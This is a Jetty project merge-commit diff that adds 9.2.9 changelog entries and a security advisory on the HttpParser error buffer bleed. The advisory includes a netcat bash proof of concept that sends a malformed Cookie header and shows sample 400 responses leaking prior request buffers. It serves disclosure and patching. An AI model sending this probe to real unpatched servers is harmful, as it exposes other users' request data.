Merge branch 'master' of ssh://git.eclipse.org/gitroot/jetty/org.eclipse.jetty.project

VERSION.txt

@@ -1,5 +1,18 @@
 jetty-9.3.0-SNAPSHOT
 
+jetty-9.2.9.v20150224 - 24 February 2015
+ + 459273 Redundant license notices
+ + 460176 When checking for precompiled jsp, ensure classname is present
+ + 460180 Jaas demo has wrong doco in html
+ + 460291 AsyncGzipFilter Mappings
+ + 460371 AsyncMiddleManServlet.GZipContentTransformer fails if last transform
+   has no output
+ + 460372 if web.xml does not contain jspc maven plugin insertionMarker
+   behavior is wrong
+ + 460443 Race condition releasing the response buffer.
+ + 460642 HttpParser error 400 can expose previous buffer contents in HTTP
+   status reason message
+
 jetty-9.2.8.v20150217 - 17 February 2015
  + 451092 Connector will fail if HeaderListener return false.
  + 455436 ProxyServlet sends two User-Agent values.

advisories/2015-02-24-httpparser-error-buffer-bleed.md

@@ -0,0 +1,102 @@
+HttpParser Error Buffer Bleed Vulnerability
+===========================================
+
+Date: 2015, Feb 24
+
+Affected Versions of Jetty:
+---------------------------
+
+  * 9.2.3.v20140905
+  * 9.2.4.v20141103
+  * 9.2.5.v20141112
+  * 9.2.6.v20141205
+  * 9.2.7.v20150116
+  * 9.2.8.v20150217
+
+Version of Jetty Containing Fix:
+--------------------------------
+
+  * 9.2.9.v20150224
+
+Statement:
+----------
+
+Jetty versions 9.2.3.v20140905 through 9.2.8.v20150217 have a ByteBuffer reuse and information bleed vulnerability surrounding bad HTTP request header parsing error responses.
+
+History:
+--------
+
+Back in Jetty 9.2.3, a feature requesting more detailed logging messages surrounding problems parsing bad HTTP request headers ( https://bugs.eclipse.org/443049 ) was implemented.
+
+The feature request was to include better debug information in the Jetty logs (at WARN level) to help diagnose and resolve HTTP parsing errors.
+
+However, the implementation incorrectly exposes this debug information back on the HTTP 400 response reason phrase, potentially exposing parts of server side buffers used from prior request processing on the same server.
+
+The following bash shell script demonstrates the problem using netcat on linux against the Jetty Distribution's demo-base.
+
+```
+#!/bin/bash
+
+RESOURCEPATH="/test/dump/info"
+BAD=$'\a'
+
+function normalRequest {
+echo "-- Normal Request --"
+
+nc localhost 8080 << NORMREQ
+POST $RESOURCEPATH HTTP/1.1
+Host: localhost
+Content-Type: application/x-www-form-urlencoded;charset=utf-8
+Connection: close
+Content-Length: 16
+
+Username=Joakim
+NORMREQ
+}
+
+function badCookie {
+echo "-- Bad Cookie --"
+
+nc localhost 8080 << BADCOOKIE
+GET $RESOURCEPATH HTTP/1.1
+Host: localhost
+Coo${BAD}kie: ${BAD}
+
+BADCOOKIE
+}
+
+normalRequest
+echo ""
+echo ""
+badCookie
+```
+
+The results are often seen in the HTTP response such as ...
+
+```
+HTTP/1.1 400 Illegal character 0x7 in state=HEADER_IN_NAME in 'GET /dummy/ HTTP/... localhost\nCoo\x07<<<kie: \x07\n\n>>>e: application/x-...\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+Content-Length: 0
+Connection: close
+Server: Jetty(9.2.8.v20150217)
+```
+
+What you are seeing is a http response phrase that includes raw ByteBuffer details on what happened during the parsing failure.
+
+The parts of the output are in the general form
+`{what_has_been_parsed}<<<{left_to_parse}>>>{old_buffer_seen_past_limit}`
+
+The part at `{old_buffer_seen_past_limit}` is where this exposure of past buffers comes from.  It is this information where an exploit could be made to present random prior buffers from the server buffer pool.  This information can contain anything seen in a past handled request.
+
+We have this problem already patched in Jetty 9.2.9.v20150224, and the same test as above results in ...
+
+```
+HTTP/1.1 400 Illegal character 0x7
+Content-Length: 0
+Connection: close
+Server: Jetty(9.2.9.v20150224)
+```
+
+Everyone is strongly encouraged to upgrade to Jetty 9.2.9.v20150224 immediately.
+
+
+

examples/async-rest/async-rest-jar/pom.xml

@@ -2,7 +2,7 @@
   <parent>
     <groupId>org.eclipse.jetty</groupId>
     <artifactId>example-async-rest</artifactId>
-    <version>9.3.0-SNAPSHOT</version>
+       <version>9.3.0-SNAPSHOT</version>
   </parent>  
   <modelVersion>4.0.0</modelVersion>
   <groupId>org.eclipse.jetty.example-async-rest</groupId>